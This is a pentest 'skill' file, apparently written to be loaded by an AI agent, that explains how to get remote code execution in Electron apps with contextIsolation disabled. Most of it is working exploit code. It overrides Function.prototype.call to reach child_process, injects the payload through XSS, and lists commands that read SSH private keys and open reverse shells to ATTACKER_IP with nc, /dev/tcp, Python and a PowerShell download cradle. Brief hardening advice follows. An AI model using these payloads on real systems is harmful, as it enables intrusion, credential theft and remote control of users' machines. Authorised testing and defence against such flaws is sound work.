Hacktricks-skills electron-contextisolation-exploit

How to exploit Electron apps with disabled contextIsolation to achieve RCE. Use this skill whenever you're pentesting Electron desktop applications, analyzing Electron security, investigating context isolation bypasses, or need to demonstrate prototype pollution attacks in Electron. Trigger this for any Electron app security assessment, especially when you see renderer process access to Node.js APIs, or when investigating RCE vulnerabilities in Electron-based software.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code/SKILL.MD
source content

Electron ContextIsolation RCE Exploitation

This skill helps you exploit Electron applications that have

contextIsolation: false
or
nodeIntegration: true
, allowing renderer process access to Node.js internals for remote code execution.

When to Use This Skill

  • Pentesting Electron desktop applications
  • Security assessments of Electron-based software
  • Investigating context isolation bypasses
  • Demonstrating prototype pollution attacks in Electron
  • Analyzing Electron security configurations

Core Concepts

The Vulnerability

When Electron apps disable

contextIsolation
, the renderer process can access Node.js internal objects. The key attack vector is the
process
object, which contains references to
require
and other Node.js APIs.

Attack Surface

  1. Internal event listeners - Electron sets up internal event handlers that reference the
    process
    object
  2. Prototype pollution - Overwriting
    Function.prototype.call
    or similar methods
  3. Direct process access - When
    nodeIntegration: true
    , direct access to
    process.mainModule.require

Exploitation Techniques

Technique 1: Function.prototype.call Override

This exploits the internal "exit" event listener that Electron sets up during page loading.

Payload:

Function.prototype.call = function (process) {
  process.mainModule.require("child_process").execSync("YOUR_COMMAND_HERE")
}
location.reload() // Triggers the "exit" event

How it works:

  1. Electron's internal code sets up
    process.on("exit", ...)
    during page load
  2. When the page reloads, the "exit" event fires
  3. The handler's
    .call()
    method receives the
    process
    object
  4. By overriding
    Function.prototype.call
    , we intercept this and execute arbitrary code

Usage:

// Inject into renderer process
const exploit = `
  Function.prototype.call = function (process) {
    if (process && process.mainModule && process.mainModule.require) {
      process.mainModule.require("child_process").execSync("whoami");
    }
  }
  location.reload();
`;
const script = document.createElement('script');
script.textContent = exploit;
document.head.appendChild(script);

Technique 2: Prototype Pollution via Object.defineProperty

When direct prototype access is restricted, use

Object.defineProperty
to pollute the prototype chain.

Payload:

// Leak the require function through prototype pollution
Object.defineProperty(Function.prototype, 'call', {
  get: function() {
    return function(process) {
      if (process && process.mainModule) {
        const { execSync } = process.mainModule.require('child_process');
        execSync('YOUR_COMMAND_HERE');
      }
    };
  }
});

// Trigger the exploit
location.reload();

Technique 3: Direct Process Access (nodeIntegration: true)

If

nodeIntegration
is enabled, you can directly access Node.js APIs:

// Direct RCE when nodeIntegration is true
const { execSync } = require('child_process');
execSync('YOUR_COMMAND_HERE');

// Or via process object
process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE');

Detection and Verification

Check if Context Isolation is Disabled

// In renderer process, check for Node.js access
function checkNodeAccess() {
  const checks = {
    hasProcess: typeof process !== 'undefined',
    hasRequire: typeof require !== 'undefined',
    hasNodeIntegration: process && process.versions && process.versions.node,
    hasContextIsolation: process && process.contextIsolation
  };
  console.log('Node.js Access Check:', checks);
  return checks.hasProcess || checks.hasRequire;
}

Check for Vulnerable Configuration

Look for these patterns in the Electron app's main process:

// Vulnerable - contextIsolation disabled
webContents.setWindowOpenHandler(() => {
  return { action: 'allow', overrideBrowserWindowOptions: { webPreferences: { contextIsolation: false } } }
});

// Vulnerable - nodeIntegration enabled
BrowserWindow({
  webPreferences: {
    nodeIntegration: true,
    contextIsolation: false
  }
});

Practical Exploitation Workflow

Step 1: Reconnaissance

  1. Identify the Electron app and its version
  2. Check for XSS vectors (file upload, URL parameters, stored content)
  3. Verify renderer process access to Node.js APIs

Step 2: Payload Delivery

Choose delivery method based on available XSS vector:

  • Reflected XSS: Inject payload via URL parameters
  • Stored XSS: Inject payload via file upload or form submission
  • DOM XSS: Inject payload via JavaScript-controlled DOM

Step 3: Command Execution

// Generic payload template
function executeCommand(command) {
  Function.prototype.call = function (process) {
    if (process && process.mainModule && process.mainModule.require) {
      try {
        const { execSync } = process.mainModule.require('child_process');
        execSync(command);
      } catch (e) {
        console.error('Exploit failed:', e);
      }
    }
  };
  location.reload();
}

// Example commands
executeCommand('whoami');
executeCommand('id');
executeCommand('cat /etc/passwd');
executeCommand('nc -e /bin/sh ATTACKER_IP 4444');

Common Commands for Testing

// Basic reconnaissance
'whoami'
'id'
'hostname'
'pwd'

// File access
'cat /etc/passwd'
'ls -la ~'
'cat ~/.ssh/id_rsa'

// Reverse shell (Linux)
'nc -e /bin/bash ATTACKER_IP 4444'
'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

// Reverse shell (macOS)
'/usr/bin/env python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"'

// Reverse shell (Windows)
'powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"'

Mitigation and Hardening

For Developers

  1. Enable contextIsolation:
webPreferences: {
  contextIsolation: true,
  nodeIntegration: false,
  sandbox: true
}
  1. Use preload scripts for controlled IPC:
// preload.js
contextBridge.exposeInMainWorld('api', {
  readFile: (path) => ipcRenderer.invoke('read-file', path)
});
  1. Disable Node.js in renderer:
webPreferences: {
  nodeIntegration: false,
  contextIsolation: true
}

For Security Teams

  1. Audit Electron apps for
    contextIsolation: false
  2. Check for
    nodeIntegration: true
    in production builds
  3. Review preload scripts for proper context isolation
  4. Test for prototype pollution vulnerabilities

References

Important Notes

  • Legal: Only use these techniques on systems you own or have explicit permission to test
  • Version Specific: Exploits may vary by Electron version
  • Detection: Modern Electron versions have improved security; test against the target version
  • Defense in Depth: Even with contextIsolation enabled, other vectors may exist